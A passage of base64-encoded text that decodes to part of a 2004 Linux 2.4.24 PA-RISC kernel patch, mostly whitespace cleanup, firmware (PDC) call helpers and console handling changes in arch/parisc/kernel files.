bHQpLCBfX3BhKHBkY19yZXN1bHQyKSwgbGVuKTsKLSAgICAgICAgbWVtY3B5KGNoYXNzaXNfaW5m
bywgcGRjX3Jlc3VsdCwgc2l6ZW9mKCpjaGFzc2lzX2luZm8pKTsKLSAgICAgICAgbWVtY3B5KGxl
ZF9pbmZvLCBwZGNfcmVzdWx0MiwgbGVuKTsKLSAgICAgICAgc3Bpbl91bmxvY2tfaXJxKCZwZGNf
bG9jayk7CisJc3Bpbl9sb2NrX2lycSgmcGRjX2xvY2spOworCW1lbWNweSgmcGRjX3Jlc3VsdCwg
Y2hhc3Npc19pbmZvLCBzaXplb2YoKmNoYXNzaXNfaW5mbykpOworCW1lbWNweSgmcGRjX3Jlc3Vs
dDIsIGxlZF9pbmZvLCBsZW4pOworCXJldHZhbCA9IG1lbV9wZGNfY2FsbChQRENfQ0hBU1NJUywg
UERDX1JFVFVSTl9DSEFTU0lTX0lORk8sCisJCQkgICAgICBfX3BhKHBkY19yZXN1bHQpLCBfX3Bh
KHBkY19yZXN1bHQyKSwgbGVuKTsKKwltZW1jcHkoY2hhc3Npc19pbmZvLCBwZGNfcmVzdWx0LCBz
aXplb2YoKmNoYXNzaXNfaW5mbykpOworCW1lbWNweShsZWRfaW5mbywgcGRjX3Jlc3VsdDIsIGxl
bik7CisJc3Bpbl91bmxvY2tfaXJxKCZwZGNfbG9jayk7CiAKLSAgICAgICAgcmV0dXJuIHJldHZh
bDsKKwlyZXR1cm4gcmV0dmFsOwogfQogCiAvKioKQEAgLTE4Nyw5ICsxOTksOSBAQAogewogCWlm
ICghaXNfcGRjX3BhdCgpKQogCQlyZXR1cm4gLTE7Ci0JCQorCiAJaW50IHJldHZhbCA9IDA7Ci0J
CisKIAlzcGluX2xvY2tfaXJxKCZwZGNfbG9jayk7CiAJcmV0dmFsID0gbWVtX3BkY19jYWxsKFBE
Q19QQVRfQ0hBU1NJU19MT0csIFBEQ19QQVRfQ0hBU1NJU19XUklURV9MT0csIF9fcGEoJnN0YXRl
KSwgX19wYSgmZGF0YSkpOwogCXNwaW5fdW5sb2NrX2lycSgmcGRjX2xvY2spOwpAQCAtMjI0LDE4
ICsyMzYsMTggQEAKICAqLwogaW50IF9faW5pdCBwZGNfY29wcm9jX2NmZyhzdHJ1Y3QgcGRjX2Nv
cHJvY19jZmcgKnBkY19jb3Byb2NfaW5mbykKIHsKLSAgICAgICAgaW50IHJldHZhbDsKKwlpbnQg
cmV0dmFsOwogCi0gICAgICAgIHNwaW5fbG9ja19pcnEoJnBkY19sb2NrKTsKLSAgICAgICAgcmV0
dmFsID0gbWVtX3BkY19jYWxsKFBEQ19DT1BST0MsIFBEQ19DT1BST0NfQ0ZHLCBfX3BhKHBkY19y
ZXN1bHQpKTsKLSAgICAgICAgY29udmVydF90b193aWRlKHBkY19yZXN1bHQpOwotICAgICAgICBw
ZGNfY29wcm9jX2luZm8tPmNjcl9mdW5jdGlvbmFsID0gcGRjX3Jlc3VsdFswXTsKLSAgICAgICAg
cGRjX2NvcHJvY19pbmZvLT5jY3JfcHJlc2VudCA9IHBkY19yZXN1bHRbMV07Ci0gICAgICAgIHBk
Y19jb3Byb2NfaW5mby0+cmV2aXNpb24gPSBwZGNfcmVzdWx0WzE3XTsKLSAgICAgICAgcGRjX2Nv
cHJvY19pbmZvLT5tb2RlbCA9IHBkY19yZXN1bHRbMThdOwotICAgICAgICBzcGluX3VubG9ja19p
cnEoJnBkY19sb2NrKTsKKwlzcGluX2xvY2tfaXJxKCZwZGNfbG9jayk7CisJcmV0dmFsID0gbWVt
X3BkY19jYWxsKFBEQ19DT1BST0MsIFBEQ19DT1BST0NfQ0ZHLCBfX3BhKHBkY19yZXN1bHQpKTsK
Kwljb252ZXJ0X3RvX3dpZGUocGRjX3Jlc3VsdCk7CisJcGRjX2NvcHJvY19pbmZvLT5jY3JfZnVu
Y3Rpb25hbCA9IHBkY19yZXN1bHRbMF07CisJcGRjX2NvcHJvY19pbmZvLT5jY3JfcHJlc2VudCA9
IHBkY19yZXN1bHRbMV07CisJcGRjX2NvcHJvY19pbmZvLT5yZXZpc2lvbiA9IHBkY19yZXN1bHRb
MTddOworCXBkY19jb3Byb2NfaW5mby0+bW9kZWwgPSBwZGNfcmVzdWx0WzE4XTsKKwlzcGluX3Vu
bG9ja19pcnEoJnBkY19sb2NrKTsKIAotICAgICAgICByZXR1cm4gcmV0dmFsOworCXJldHVybiBy
ZXR2YWw7CiB9CiAKIC8qKgpAQCAtNTM3LDggKzU0OSw4IEBACiAgKiAgICBvIGNhYmxlIHRvbyBs
b25nIChpZSBTRSBzY3NpIDEwTWh6IHdvbid0IHN1cHBvcnQgNm0gbGVuZ3RoKSwKICAq
ICAgIG8gYnVzIHdpZHRoIGV4cG9ydGVkIGlzIGxlc3MgdGhhbiB3aGF0IHRoZSBpbnRlcmZhY2Ug
Y2hpcCBzdXBwb3J0cy4KICAqLwotaW50IHBkY19nZXRfaW5pdGlhdG9yKCBzdHJ1Y3QgaGFyZHdh
cmVfcGF0aCAqaHdwYXRoLCB1bnNpZ25lZCBjaGFyICpzY3NpX2lkLAotCXVuc2lnbmVkIGxvbmcg
KnBlcmlvZCwgY2hhciAqd2lkdGgsIGNoYXIgKm1vZGUpCitpbnQgcGRjX2dldF9pbml0aWF0b3Io
c3RydWN0IGhhcmR3YXJlX3BhdGggKmh3cGF0aCwgdW5zaWduZWQgY2hhciAqc2NzaV9pZCwKKwkJ
dW5zaWduZWQgbG9uZyAqcGVyaW9kLCBjaGFyICp3aWR0aCwgY2hhciAqbW9kZSkKIHsKIAlpbnQg
cmV0dmFsOwogCkBAIC01NTYsNDEgKzU2OCwzOCBAQAogCiAJCS8qIGNvbnZlcnQgQnVzIHNwZWVk
IGluIE1oeiB0byBwZXJpb2QgKGluIDEvMTAgbnMpICovCiAJCXN3aXRjaChwZGNfcmVzdWx0WzFd
KSB7Ci0JCS8qCi0JCSoqIGNhc2UgIDA6ICAgZHJpdmVyIGRldGVybWluZXMgcmF0ZQotCQkqKiBj
YXNlIC0xOiAgIFNldHRpbmdzIGFyZSB1bmluaXRpYWxpemVkLgotCQkqLwotCQljYXNlICA1OiAg
KnBlcmlvZCA9IDIwMDA7IGJyZWFrOwotCQljYXNlIDEwOiAgKnBlcmlvZCA9IDEwMDA7IGJyZWFr
OwotCQljYXNlIDIwOiAgKnBlcmlvZCA9IDUwMDsgYnJlYWs7Ci0JCWNhc2UgNDA6ICAqcGVyaW9k
ID0gMjUwOyBicmVhazsKLQkJZGVmYXVsdDogLyogRG8gbm90aGluZyAqLyBicmVhazsKKwkJCS8q
CisJCQkgKiBjYXNlICAwOiAgIGRyaXZlciBkZXRlcm1pbmVzIHJhdGUKKwkJCSAqIGNhc2UgLTE6
ICAgU2V0dGluZ3MgYXJlIHVuaW5pdGlhbGl6ZWQuCisJCQkgKi8KKwkJCWNhc2UgIDU6ICAqcGVy
aW9kID0gMjAwMDsgYnJlYWs7CisJCQljYXNlIDEwOiAgKnBlcmlvZCA9IDEwMDA7IGJyZWFrOwor
CQkJY2FzZSAyMDogICpwZXJpb2QgPSA1MDA7IGJyZWFrOworCQkJY2FzZSA0MDogICpwZXJpb2Qg
PSAyNTA7IGJyZWFrOworCQkJZGVmYXVsdDogLyogRG8gbm90aGluZyAqLyBicmVhazsKIAkJfQog
CiAJCS8qIAotCQkqKiBwZGNfcmVzdWx0WzJdCVBEQyBzdWdnZXN0ZWQgU0NTSSBpZAotCQkqKiBw
ZGNfcmVzdWx0WzNdCVBEQyBzdWdnZXN0ZWQgU0NTSSByYXRlCi0JCSovCisJCSAqIHBkY19yZXN1
bHRbMl0JUERDIHN1Z2dlc3RlZCBTQ1NJIGlkCisJCSAqIHBkY19yZXN1bHRbM10JUERDIHN1Z2dl
c3RlZCBTQ1NJIHJhdGUKKwkJICovCiAKIAkJLyogQzMwMDAgYW5kIHNpbWlsYXIgd29ya3N0YXRp
b25zIHJlcG9ydCBwZXJpb2QvbW9kZSAqLwogCQlpZiAoSVNfU1BST0NLRVRTKCkpIHsKLQkJCS8q
Ci0JCQkqKgkwID09IDgtYml0Ci0JCQkqKgkxID09IDE2LWJpdAotCQkJKi8KKwkJCS8qIDAgPT0g
OC1iaXQsIDEgPT0gMTYtYml0ICovCiAJCQkqd2lkdGggPSAoY2hhcikgcGRjX3Jlc3VsdFs0XTsK
IAogCQkJLyogLi4uaW4gY2FzZSBzb21lb25lIG5lZWRzIGl0IGluIHRoZSBmdXR1cmUuCi0JCQkq
KiBzeW01M2M4eHguYyBjb21tZW50cyBzYXkgaXQgY2FuJ3QgYXV0b2RldGVjdAotCQkJKiogZm9y
IDgyNS84MjVBLzg3NSBjaGlwcy4KLQkJCSoqCTAgPT0gU0UsIDEgPT0gSFZELCAyID09IExWRAot
CQkJKi8KKwkJCSAqIHN5bTUzYzh4eC5jIGNvbW1lbnRzIHNheSBpdCBjYW4ndCBhdXRvZGV0ZWN0
CisJCQkgKiBmb3IgODI1LzgyNUEvODc1IGNoaXBzLgorCQkJICoJMCA9PSBTRSwgMSA9PSBIVkQs
IDIgPT0gTFZECisJCQkgKi8KIAkJCSptb2RlID0gKGNoYXIpIHBkY19yZXN1bHRbNV07IAogCQl9
CiAJfQogCiAJc3Bpbl91bmxvY2tfaXJxKCZwZGNfbG9jayk7Ci0JcmV0dXJuIHJldHZhbCA+PSBQ
RENfT0s7CisJcmV0dXJuIChyZXR2YWwgPj0gUERDX09LKTsKIH0KIAogCkBAIC02NDAsNiArNjQ5
LDQ5IEBACiB9CiAKIAorI2lmIDAJLyogVU5URVNUIENPREUgLSBsZWZ0IGhlcmUgaW4gY2FzZSBz
b21lb25lIG5lZWRzIGl0ICovCisKKy8qIAorICogcGRjX3BjaV9jb25maWdfcmVhZCAtIHJlYWQg
UENJIGNvbmZpZyBzcGFjZS4KKyAqIEBocGEJCXRva2VuIGZyb20gUERDIHRvIGluZGljYXRlIHdo
aWNoIFBDSSBkZXZpY2UKKyAqIEBwY2lfYWRkcgljb25maWd1cmF0aW9uIHNwYWNlIGFkZHJlc3Mg
dG8gcmVhZCBmcm9tCisgKgorICogUmVhZCBQQ0kgQ29uZmlndXJhdGlvbiBzcGFjZSAqYmVmb3Jl
KiBsaW51eCBQQ0kgc3Vic3lzdGVtIGlzIHJ1bm5pbmcuCisgKi8KK3Vuc2lnbmVkIGludCBwZGNf
cGNpX2NvbmZpZ19yZWFkKHZvaWQgKmhwYSwgdW5zaWduZWQgbG9uZyBjZmdfYWRkcikKK3sKKwlp
bnQgcmV0dmFsOworCXNwaW5fbG9ja19pcnEoJnBkY19sb2NrKTsKKwlwZGNfcmVzdWx0WzBdID0g
MDsKKwlwZGNfcmVzdWx0WzFdID0gMDsKKwlyZXR2YWwgPSBtZW1fcGRjX2NhbGwoUERDX1BDSV9J
TkRFWCwgUERDX1BDSV9SRUFEX0NPTkZJRywgCisJCQkgICAgICBfX3BhKHBkY19yZXN1bHQpLCBo
cGEsIGNmZ19hZGRyJn4zVUwsIDRVTCk7CisJc3Bpbl91bmxvY2tfaXJxKCZwZGNfbG9jayk7CisJ
cmV0dXJuIHJldHZhbCA/IH4wIDogKHVuc2lnbmVkIGludCkgcGRjX3Jlc3VsdFswXTsKK30KKwor
CisvKiAKKyAqIHBkY19wY2lfY29uZmlnX3dyaXRlIC0gcmVhZCBQQ0kgY29uZmlnIHNwYWNlLgor
ICogQGhwYQkJdG9rZW4gZnJvbSBQREMgdG8gaW5kaWNhdGUgd2hpY2ggUENJIGRldmljZQorICog
QHBjaV9hZGRyCWNvbmZpZ3VyYXRpb24gc3BhY2UgYWRkcmVzcyB0byB3cml0ZQorICogQHZhbAkJ
dmFsdWUgd2Ugd2FudCBpbiB0aGUgMzItYml0IHJlZ2lzdGVyCisgKgorICogV3JpdGUgUENJIENv
bmZpZ3VyYXRpb24gc3BhY2UgKmJlZm9yZSogbGludXggUENJIHN1YnN5c3RlbSBpcyBydW5uaW5n
LgorICovCit2b2lkIHBkY19wY2lfY29uZmlnX3dyaXRlKHZvaWQgKmhwYSwgdW5zaWduZWQgbG9u
ZyBjZmdfYWRkciwgdW5zaWduZWQgaW50IHZhbCkKK3sKKwlpbnQgcmV0dmFsOworCXNwaW5fbG9j
a19pcnEoJnBkY19sb2NrKTsKKwlwZGNfcmVzdWx0WzBdID0gMDsKKwlyZXR2YWwgPSBtZW1fcGRj
X2NhbGwoUERDX1BDSV9JTkRFWCwgUERDX1BDSV9XUklURV9DT05GSUcsIAorCQkJICAg
ICAgX19wYShwZGNfcmVzdWx0KSwgaHBhLAorCQkJICAgICAgY2ZnX2FkZHImfjNVTCwgNFVMLCAo
dW5zaWduZWQgbG9uZykgdmFsKTsKKwlzcGluX3VubG9ja19pcnEoJnBkY19sb2NrKTsKKwlyZXR1
cm4gcmV0dmFsOworfQorI2VuZGlmIC8qIFVOVEVTVEVEIENPREUgKi8KKwogLyoqCiAgKiBwZGNf
dG9kX3JlYWQgLSBSZWFkIHRoZSBUaW1lLU9mLURheSBjbG9jay4KICAqIEB0b2Q6IFRoZSByZXR1
cm4gYnVmZmVyOgpAQCAtNzcwLDIwICs4MjIsMzQgQEAKIH0KIAogLyoKLSAqIHBkY19zdXNwZW5k
X3VzYiAtIFN0b3AgVVNCIGNvbnRyb2xsZXIKKyAqIHBkY19pb19yZXNldCAtIEhhY2sgdG8gYXZv
aWQgb3ZlcmxhcHBpbmcgcmFuZ2UgcmVnaXN0ZXJzIG9mIEJyaWRnZXMgZGV2aWNlcy4KKyAqIFBy
aW1hcmlseSBhIHByb2JsZW0gb24gVDYwMCAod2hpY2ggcGFyaXNjLWxpbnV4IGRvZXNuJ3Qgc3Vw
cG9ydCkgYnV0CisgKiB3aG8ga25vd3Mgd2hhdCBvdGhlciBwbGF0Zm9ybSBmaXJtd2FyZSBtaWdo
dCBkbyB3aXRoIHRoaXMgT1MgImhvb2siLgorICovCit2b2lkIHBkY19pb19yZXNldCh2b2lkKQor
eworCXNwaW5fbG9ja19pcnEoJnBkY19sb2NrKTsgIAorCW1lbV9wZGNfY2FsbChQRENfSU8sIFBE
Q19JT19SRVNFVCwgMCk7CisJc3Bpbl91bmxvY2tfaXJxKCZwZGNfbG9jayk7Cit9CisKKy8qCisg
KiBwZGNfaW9fcmVzZXRfZGV2aWNlcyAtIEhhY2sgdG8gU3RvcCBVU0IgY29udHJvbGxlcgogICoK
ICAqIElmIFBEQyB1c2VkIHRoZSB1c2IgY29udHJvbGxlciwgdGhlIHVzYiBjb250cm9sbGVyCiAg
KiBpcyBzdGlsbCBydW5uaW5nIGFuZCB3aWxsIGNyYXNoIHRoZSBtYWNoaW5lcyBkdXJpbmcgaW9t
bXUgCiAgKiBzZXR1cCwgYmVjYXVzZSBvZiBzdGlsbCBydW5uaW5nIERNQS4gVGhpcyBQREMgY2Fs
bAotICogc3RvcHMgdGhlIFVTQiBjb250cm9sbGVyCisgKiBzdG9wcyB0aGUgVVNCIGNvbnRyb2xs
ZXIuCisgKiBOb3JtYWxseSBjYWxsZWQgYWZ0ZXIgY2FsbGluZyBwZGNfaW9fcmVzZXQoKS4KICAq
Lwotdm9pZCBwZGNfc3VzcGVuZF91c2Iodm9pZCkKK3ZvaWQgcGRjX2lvX3Jlc2V0X2RldmljZXMo
dm9pZCkKIHsKIAlzcGluX2xvY2tfaXJxKCZwZGNfbG9jayk7ICAKLQltZW1fcGRjX2NhbGwoUERD
X0lPLCBQRENfSU9fU1VTUEVORF9VU0IsIDApOworCW1lbV9wZGNfY2FsbChQRENfSU8sIFBEQ19J
T19SRVNFVF9ERVZJQ0VTLCAwKTsKIAlzcGluX3VubG9ja19pcnEoJnBkY19sb2NrKTsKIH0KIAor
CiAvKioKICAqIHBkY19pb2RjX3B1dGMgLSBDb25zb2xlIGNoYXJhY3RlciBwcmludCB1c2luZyBJ
T0RDLgogICogQGM6IHRoZSBjaGFyYWN0ZXIgdG8gb3V0cHV0LgpAQCAtODcxLDE1ICs5MzcsMjEg
QEAKIAlpbnQgc3RhdHVzOwogCiAJLyogQmFpbCBpZiBubyBjb25zb2xlIGlucHV0IGRldmljZS4g
Ki8KLQlpZiAoIVBBR0UwLT5tZW1fa2JkLmlvZGNfaW8pCisJaWYgKChQQUdFMC0+bWVtX2NvbnMu
Y2xfY2xhc3MgIT0gQ0xfRFVQTEVYKSAmJiAhUEFHRTAtPm1lbV9rYmQuaW9kY19pbykKIAkJcmV0
dXJuIDA7CiAJCiAJLyogd2FpdCBmb3IgYSBrZXlib2FyZCAocnMyMzIpLWlucHV0ICovCiAJc3Bp
bl9sb2NrX2lycXNhdmUoJnBkY19sb2NrLCBmbGFncyk7Ci0JcmVhbDMyX2NhbGwoUEFHRTAtPm1l
bV9rYmQuaW9kY19pbywKLQkJICAgICh1bnNpZ25lZCBsb25nKVBBR0UwLT5tZW1fa2JkLmhwYSwg
RU5UUllfSU9fQ0lOLAotCQkgICAgUEFHRTAtPm1lbV9rYmQuc3BhLCBfX3BhKFBBR0UwLT5tZW1f
a2JkLmRwLmxheWVycyksIAotCQkgICAgX19wYShpb2RjX3JldGJ1ZiksIDAsIF9fcGEoaW9kY19k
YnVmKSwgMSwgMCk7CisJaWYgKFBBR0UwLT5tZW1fY29ucy5jbF9jbGFzcyA9PSBDTF9EVVBMRVgp
CisJCXJlYWwzMl9jYWxsKFBBR0UwLT5tZW1fY29ucy5pb2RjX2lvLAorCQkJICAgICh1bnNpZ25l
ZCBsb25nKVBBR0UwLT5tZW1fY29ucy5ocGEsIEVOVFJZX0lPX0NJTiwKKwkJCSAgICBQQUdFMC0+
bWVtX2NvbnMuc3BhLCBfX3BhKFBBR0UwLT5tZW1fY29ucy5kcC5sYXllcnMpLCAKKwkJCSAgICBf
X3BhKGlvZGNfcmV0YnVmKSwgMCwgX19wYShpb2RjX2RidWYpLCAxLCAwKTsKKwllbHNlCisJCXJl
YWwzMl9jYWxsKFBBR0UwLT5tZW1fa2JkLmlvZGNfaW8sCisJCQkgICAgKHVuc2lnbmVkIGxvbmcp
UEFHRTAtPm1lbV9rYmQuaHBhLCBFTlRSWV9JT19DSU4sCisJCQkgICAgUEFHRTAtPm1lbV9rYmQu
c3BhLCBfX3BhKFBBR0UwLT5tZW1fa2JkLmRwLmxheWVycyksIAorCQkJICAgIF9fcGEoaW9kY19y
ZXRidWYpLCAwLCBfX3BhKGlvZGNfZGJ1ZiksIDEsIDApOwogCiAJY2ggPSAqaW9kY19kYnVmOwog
CXN0YXR1cyA9ICppb2RjX3JldGJ1ZjsKQEAgLTEwNjUsNyArMTEzNyw3IEBACiAJLyogaW4gcmVh
bGl0eSwgdGhlcmUncyBuZWFybHkgOGsgb2Ygc3RhY2sgYWZ0ZXIgdGhpcyAqLwogfTsKIAotc3Rh
dGljIGxvbmcgcmVhbDMyX2NhbGwodW5zaWduZWQgbG9uZyBmbiwgLi4uKQorbG9uZyByZWFsMzJf
Y2FsbCh1bnNpZ25lZCBsb25nIGZuLCAuLi4pCiB7CiAJdmFfbGlzdCBhcmdzOwogCWV4dGVybiBz
dHJ1Y3QgbmFycm93X3N0YWNrIHJlYWxfc3RhY2szMjsKQEAgLTExMTYsNyArMTE4OCw3IEBACiAJ
LyogaW4gcmVhbGl0eSwgdGhlcmUncyBuZWFybHkgOGsgb2Ygc3RhY2sgYWZ0ZXIgdGhpcyAqLwog
fTsKIAotc3RhdGljIGxvbmcgcmVhbDY0X2NhbGwodW5zaWduZWQgbG9uZyBmbiwgLi4uKQorbG9u
ZyByZWFsNjRfY2FsbCh1bnNpZ25lZCBsb25nIGZuLCAuLi4pCiB7CiAJdmFfbGlzdCBhcmdzOwog
CWV4dGVybiBzdHJ1Y3Qgd2lkZV9zdGFjayByZWFsX3N0YWNrNjQ7CmRpZmYgLU5hdXJYIGRvbnRk
aWZmIGxpbnV4LTIuNC4yNC1wYTAub3JpZy9hcmNoL3BhcmlzYy9rZXJuZWwvaW52ZW50b3J5LmMg
bGludXgtMi40LjI0LXBhMC9hcmNoL3BhcmlzYy9rZXJuZWwvaW52ZW50b3J5LmMKLS0tIGxpbnV4
LTIuNC4yNC1wYTAub3JpZy9hcmNoL3BhcmlzYy9rZXJuZWwvaW52ZW50b3J5LmMJMjAwMy0wOC0w
NCAwODowMDowMC4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNC4yNC1wYTAvYXJj
aC9wYXJpc2Mva2VybmVsL2ludmVudG9yeS5jCTIwMDQtMDEtMjYgMTY6MzY6MDUuMDAwMDAwMDAw
ICswMTAwCkBAIC0xNjcsOSArMTY3LDYgQEAKIHN0YXRpYyBpbnQgX19pbml0IAogcGF0X3F1ZXJ5
X21vZHVsZSh1bG9uZyBwY2VsbF9sb2MsIHVsb25nIG1vZF9pbmRleCkKIHsKLSNpZmRlZiBERUJV
R19QQVQKLQlwZGNfcGF0X2NlbGxfbW9kX21hZGRyX2Jsb2NrX3QgaW9fcGRjX2NlbGw7Ci0jZW5k
aWYKIAlwZGNfcGF0X2NlbGxfbW9kX21hZGRyX2Jsb2NrX3QgcGFfcGRjX2NlbGw7CiAJdW5zaWdu
ZWQgbG9uZyBieXRlY250OwogCXVuc2lnbmVkIGxvbmcgdGVtcDsJLyogNjQtYml0IHNjcmF0Y2gg
dmFsdWUgKi8KQEAgLTIwOSw2ICsyMDYsNyBAQAogCXJlZ2lzdGVyX3BhcmlzY19kZXZpY2UoZGV2
KTsJLyogYWR2ZXJ0aXNlIGRldmljZSAqLwogCiAjaWZkZWYgREVCVUdfUEFUCisJcGRjX3BhdF9j
ZWxsX21vZF9tYWRkcl9ibG9ja190IGlvX3BkY19jZWxsOwogCS8qIGR1bXAgd2hhdCB3ZSBzZWUg
c28gZmFyLi4uICovCiAJc3dpdGNoIChQQVRfR0VUX0VOVElUWShkZXYtPm1vZF9pbmZvKSkgewog
CQl1bnNpZ25lZCBsb25nIGk7CkBAIC01MjcsMTIgKzUyNSw2IEBACiAJaW50IGk7CiAJbG9uZyBz
dGF0dXMgPSBQRENfT0s7CiAgICAgCi0JLyoKLQkgKiBmaXJzdCBzdG9wIHRoZSB1c2IgY29udHJv
bGxlciwgb3RoZXJ3aXNlIHRoZSBtYWNoaW5lCi0JICogbWlnaHQgY3Jhc2ggZHVyaW5nIGlvbW11
IHNldHVwCi0JICovCi0JcGRjX3N1c3BlbmRfdXNiKCk7Ci0KIAlmb3IgKGkgPSAwOyBzdGF0dXMg
IT0gUERDX0JBRF9QUk9DICYmIHN0YXR1cyAhPSBQRENfTkVfTU9EOyBpKyspIHsKIAkJc3RydWN0
IHBhcmlzY19kZXZpY2UgKmRldjsKIAkJc3RydWN0IHBkY19zeXN0ZW1fbWFwX21vZF9pbmZvIG1v
ZHVsZV9yZXN1bHQ7CmRpZmYgLU5hdXJYIGRvbnRkaWZmIGxpbnV4LTIuNC4yNC1wYTAub3JpZy9h
cmNoL3BhcmlzYy9rZXJuZWwvcGRjX2NvbnMuYyBsaW51eC0yLjQuMjQtcGEwL2FyY2gvcGFyaXNj
L2tlcm5lbC9wZGNfY29ucy5jCi0tLSBsaW51eC0yLjQuMjQtcGEwLm9yaWcvYXJjaC9wYXJpc2Mv
a2VybmVsL3BkY19jb25zLmMJMjAwNC0wMS0xOSAwNzoyNTo0Ni4wMDAwMDAwMDAgKzAxMDAKKysr
IGxpbnV4LTIuNC4yNC1wYTAvYXJjaC9wYXJpc2Mva2VybmVsL3BkY19jb25zLmMJMjAwNC0wMS0y
NiAxNjo1MzozMi4wMDAwMDAwMDAgKzAxMDAKQEAgLTQzLDcgKzQzLDYgQEAKICAqIE9uIHByb2R1
Y3Rpb24ga2VybmVscyBFQVJMWV9CT09UVVBfREVCVUcgc2hvdWxkIGJlIHVuZGVmaW5lZC4gKi8K
ICN1bmRlZiBFQVJMWV9CT09UVVBfREVCVUcKIAotCiAjaW5jbHVkZSA8bGludXgvY29uZmlnLmg+
CiAjaW5jbHVkZSA8bGludXgva2VybmVsLmg+CiAjaW5jbHVkZSA8bGludXgvY29uc29sZS5oPgpA
QCAtODIsNyArODEsNyBAQAogCiAjaWYgZGVmaW5lZChDT05GSUdfUERDX0NPTlNPTEUpIHx8IGRl
ZmluZWQoQ09ORklHX1NFUklBTF9NVVgpCiAjZGVmaW5lIFBEQ19DT05TT0xFX0RFVklDRSBwZGNf
Y29uc29sZV9kZXZpY2UKLXN0YXRpYyBrZGV2X3QgcGRjX2NvbnNvbGVfZGV2aWNlIChzdHJ1Y3Qg
Y29uc29sZSAqYykKK3N0YXRpYyBrZGV2X3QgcGRjX2NvbnNvbGVfZGV2aWNlKHN0cnVjdCBjb25z
b2xlICpjKQogewogICAgICAgICByZXR1cm4gTUtERVYoTVVYX01BSk9SLCAwKTsKIH0KQEAgLTkx
LDE4ICs5MCwxOCBAQAogI2VuZGlmCiAKIHN0YXRpYyBzdHJ1Y3QgY29uc29sZSBwZGNfY29ucyA9
IHsKLQluYW1lOgkJInR0eUIiLAotCXdyaXRlOgkJcGRjX2NvbnNvbGVfd3JpdGUsCisJLm5hbWUg
PQkJInR0eUIiLAorCS53cml0ZSA9CQlwZGNfY29uc29sZV93cml0ZSwKICN3YXJuaW5nIFVQU1RS
RUFNIDIuNC4xOSByZW1vdmVkIHRoZSBuZXh0IDQgbGluZXMgYnV0IHdlIGRpZCBub3QKLQlyZWFk
OgkJTlVMTCwKLQlkZXZpY2U6CQlQRENfQ09OU09MRV9ERVZJQ0UsCi0JdW5ibGFuazoJTlVMTCwK
LQlzZXR1cDoJCXBkY19jb25zb2xlX3NldHVwLAotCWZsYWdzOgkJQ09OX0JPT1R8Q09OX1BSSU5U
QlVGRkVSfENPTl9FTkFCTEVELAotCWluZGV4OgkJLTEsCisJLnJlYWQgPQkJTlVMTCwKKwkuZGV2
aWNlID0JUERDX0NPTlNPTEVfREVWSUNFLAorCS51bmJsYW5rID0JTlVMTCwKKwkuc2V0dXAgPQlw
ZGNfY29uc29sZV9zZXR1cCwKKwkuZmxhZ3MgPQlDT05fQk9PVHxDT05fUFJJTlRCVUZGRVJ8Q09O
X0VOQUJMRUQsCisJLmluZGV4ID0JLTEsCiB9OwogCi1zdGF0aWMgaW50IHBkY19jb25zb2xlX2lu
aXRpYWxpemVkOworc3RhdGljIGludCBwZGNfY29uc29sZV9pbml0aWFsaXplZCA9IDA7CiBleHRl
cm4gdW5zaWduZWQgbG9uZyBjb25fc3RhcnQ7CS8qIGtlcm5lbC9wcmludGsuYyAqLwogZXh0ZXJu
IHVuc2lnbmVkIGxvbmcgbG9nX2VuZDsJLyoga2VybmVsL3ByaW50ay5jICovCiAKQEAgLTExMywx
MCArMTEyLDYgQEAKIAkJcmV0dXJuOwogCSsrcGRjX2NvbnNvbGVfaW5pdGlhbGl6ZWQ7CiAJCi0J
LyogSWYgdGhlIGNvbnNvbGUgaXMgZHVwbGV4IHRoZW4gY29weSB0aGUgQ09VVCBwYXJhbWV0ZXJz
IHRvIENJTi4gKi8KLQlpZiAoUEFHRTAtPm1lbV9jb25zLmNsX2NsYXNzID09IENMX0RVUExFWCkK
LQkJbWVtY3B5KCZQQUdFMC0+bWVtX2tiZCwgJlBBR0UwLT5tZW1fY29ucywgc2l6ZW9mKFBBR0Uw
LT5tZW1fY29ucykpOwotCiAJLyogcmVnaXN0ZXIgdGhlIHBkYyBjb25zb2xlICovCiAJcmVnaXN0
ZXJfY29uc29sZSgmcGRjX2NvbnMpOwogfQpAQCAtMTY0LDcgKzE1OSw3IEBACiAJCXJldHVybjsK
IAogCXdoaWxlICgoY29uc29sZSA9IGNvbnNvbGVfZHJpdmVycykgIT0gTlVMTCkKLQkJdW5yZWdp
c3Rlcl9jb25zb2xlKGNvbnNvbGVfZHJpdmVycyk7CisJCXVucmVnaXN0ZXJfY29uc29sZShjb25z
b2xlKTsKIAogCS8qIERvbid0IHJlcGVhdCB3aGF0IHdlJ3ZlIGFscmVhZHkgcHJpbnRlZCAqLwog
CWNvbl9zdGFydCA9IGxvZ19lbmQ7CmRpZmYgLU5hdXJYIGRvbnRkaWZmIGxpbnV4LTIuNC4yNC1w
YTAub3JpZy9hcmNoL3BhcmlzYy9rZXJuZWwvcmVhbDIuUyBsaW51eC0yLjQuMjQtcGEw
L2FyY2gvcGFyaXNjL2tlcm5lbC9yZWFsMi5TCi0tLSBsaW51eC0yLjQuMjQtcGEwLm9yaWcvYXJj
aC9wYXJpc2Mva2VybmVsL3JlYWwyLlMJMjAwMy0wOS0yMiAwOTowNjoyMi4wMDAwMDAwMDAgKzAy
MDAKKysrIGxpbnV4LTIuNC4yNC1wYTAvYXJjaC9wYXJpc2Mva2VybmVsL3JlYWwyLlMJMjAwNC0w
MS0yMiAxNjo1Mjo0My4wMDAwMDAwMDAgKzAxMDAKQEAgLTEzLDcgKzEzLDcgQEAKIAkuc2VjdGlv
bgkuYnNzCiAJLmV4cG9ydCByZWFsX3N0YWNrMzIKICNpZmRlZiBfX0xQNjRfXwotCS5leHBvcnQg
cmVhbF9zdGFjazY0IAorCS5leHBvcnQgcmVhbF9zdGFjazY0CiAjZW5kaWYKIAkuYWxpZ24JNjQK
IHJlYWxfc3RhY2szMjoKZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjI0LXBhMC5vcmln
L2FyY2gvcGFyaXNjL2tlcm5lbC9zYmFfaW9tbXUuYyBsaW51eC0yLjQuMjQtcGEwL2FyY2gvcGFy
aXNjL2tlcm5lbC9zYmFfaW9tbXUuYwotLS0gbGludXgtMi40LjI0LXBhMC5vcmlnL2FyY2gvcGFy
aXNjL2tlcm5lbC9zYmFfaW9tbXUuYwkyMDAyLTEyLTAzIDA4OjA3OjEyLjAwMDAwMDAwMCArMDEw
